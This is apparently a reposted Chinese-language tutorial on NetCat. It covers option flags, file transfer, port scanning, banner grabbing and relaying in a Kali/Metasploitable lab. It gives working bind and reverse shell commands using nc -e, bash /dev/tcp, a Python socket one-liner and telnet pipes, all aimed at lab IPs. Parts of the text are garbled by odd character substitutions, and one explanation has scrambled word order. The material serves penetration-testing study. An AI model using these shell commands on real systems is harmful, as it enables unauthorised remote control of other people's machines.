NetCat使用教程
帮助信息
nc -h 查看帮助信息
-d: 脱离下令窗口,在后台运行,常用于后门创建过程
-e: 执行某个步伐 ,常用于后门创建过程
-g: 设置路由器跃程通讯网关,最多可设置8个。
-G: 设置源路由指向器的数量,值为4的倍数。
-i: 设置时间间隔,以便传送信息及扫描通讯端口
-l: 使用监听模式,管理和控制传入的数据
-n: 直接使用IP地址(不通过DNS解析)
-o: 指定文件名称,把往来传输的数据转换为16进制字符后保存在该文件中
-p: 设置本地监听端口号
-r: 随机指定本机与远程主机的通讯端口
-s: 设置本机送出数据包的IP地址
-t:回复telnet的请求数据包
-u: 使用UDP传输协议
-v: 详细输出
-w:设置等候连线的时间
-z: 设置扫描模式,表示发送的数据包不包含任何payload
基础使用
- 创建服务器端:nc -l -p [本地端口]
- 创建客户端(连接服务端):nc [服务端ip] [服务端口号]
shell获取
(1)正向连接:客户端连接服务器,客户端获取服务器的shell。(目标机监听,攻击机连接)
- 目标机下令创建服务器端:nc -l -p [本地端口] -e cmd.exe (在win中使用)
- 目标机下令创建服务器端:nc -l -p [本地端口] -e /bin/sh (在linux中使用)
当客户端连接到服务器端的时候 就会返回执行cmd返回下令的效果返回到连接端
- 攻击机下令创建客户端(连接服务端) : nc [服务端ip] [服务端口号]
(2)反向连接:客户端连接服务器,服务器获取客户端的shell。通常用在开启防护措施的目标机,如防火墙过滤、端口转发的等。
(攻击机监听,目标机连接)
- 目标机(linux下):nc ip [目标机本地端口]-e /bin/sh
- 目标机(windows下):nc ip [目标机本地端口] -e c:\windows\system32\cmd.exe
- 攻击机:nc -lvp [目标机本地端口]
文件传输使用方法
- 接收端端:nc -l -p [本地端口] > received.txt (如果没有指定路径,received.txt 会保存在当前工作目录)
- 发送端 : nc [接受端ip] [接收端本地口号] < infile(文件路径)
攻击机(发送端)去连接目标机(接收端)将 /root/outfile文件通过nc连接目标机的ip端口 将文件重命名并保存在当前工作路径
上面是kail作为发送端 windows是接收端
接下来是kail作为接收端 windows作为发送段
目标机(发送端) nc会通过监听端口将要传输的文件传输到端口上 攻击机(接受端) 去连接目标机ip端口 就会接受文件 箭头所指的方向代表所要传输的对象
如果此时服务器端并没有准备好连接状态 而客户端已经使用nc进行连接 那么客户端就会一直等候下去 知道连接上服务端 造成一种假死状态
nc -w3 ip [端口] : 设置等候时间3秒 超过3秒 客户端直接关闭等候连接
端口扫描
- nc -v -n -z -w1 ip [端口范围]
-v: 详细输出
-n:直接使用ip地址不对目标呆板进行dns解析
-w:设置等候连线的时间
-z: 将输入/输出功能关闭,只在扫描通讯端口时使用
- 对目标的服务banner进行抓取:
echo " " | nc -v -n -w1 192.168.162.135 1-1000
Netcat连接转发
这里准备三台机子
内网 :metasploitable linux 地址 : 192.168.162.135
外网:kali linux 和我们的主机windows处于同一网段 地址:192.168.1.6
windows 主机 地址 :192.168.1.5
首先 在metasploitable下面先启动一个监听端口等候链接
在windows下准备一个bat文件 里面写上nc要转发的地址和监听端口
在windows上启动nc创建一个新的监听端口 然后执行我们提前写好的.bat文件
打开kali
用nc连接我们的windows主机 这样我们连接windows上的同时 windows上执行着我们写好的.bat文件 就能让windows转发我们的kali监听metasploitable liunx 实现kali和metasploitable之间的通讯了
Bash反弹Shell
应用场景:某些拿到服务器权限后,想设置一个反弹shell。但是目标服务器上没有安装Netcat时。
目标机:kali 10.8.29.162
攻击机 :windows 10.8.29.39
条件:
当前用户需要有足够的权限执行bash下令
当前的shell环境需要是bash shell 下,不是bash shell的话会导致报错,提示没有该目录或文件夹
例如kali默认的就是zsh shell,所以如果想把kali的shell用bash反弹出去的话需要先用bash下令进入bash shell
才能使用bash反弹shell,如下
下令先容
- bash -i >& /dev/tcp/10.8.29.39/4445 0>&1
在下令中bash -i 表示已交互模式运行bash shel1。重定向符 >&,如果在其后加文件描述符,是将bash-i交互模,通报给文件描述符,而如果其后是文件,则v/tcp/ip/port表示通报给远程主机的IP地将bash-i 交互模式通报给文件。/de址对应的端口。
文件描述符: 标准输入、1标准输出2、错误输入输出下令中的 0>&1 表示将标准输入重定向到标准输出,实现远程的输入可以在远程输出对应内容。
Python反弹Shell
应用场景
某些拿到了服务器的权限之后 想要反弹shell 但是目标服务器上没有安装 但是安装了 python
目标机 kali :metasploitable 192.168.162.128
攻击机 windows 10.8.29.39
- 下令:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.soCK_STREAM);s.connect(("10.8.29.39",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
telnet反弹Shell
应用场景
Telnet 是一种用于远程登录到计算机系统的网络协议和下令行工具。使用 Telnet,您可以在本地计算机上打开终端窗口,然后通过 Internet
或局域网连接到其他计算机
Telnet 下令可用于连接到远程计算机并执行各种操作,例如运行下令、编辑文件或查看系统信息。您可以使用 Telnet 客户端应用步伐来发起
Telnet 会话,并在会话期间发送下令和接收输出。简单来说就是ssh的前身
条件:目标主机上存在telnet服务
1.在攻击端上打开两个终端分别执行监听
同样我们执行下令前要执行bash下令进入bash shell kali默认是在zsh shell下
执行下令
- telnet 10.8.29.39 4444 | /bin/bash | telnet 10.8.29.39 4445
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |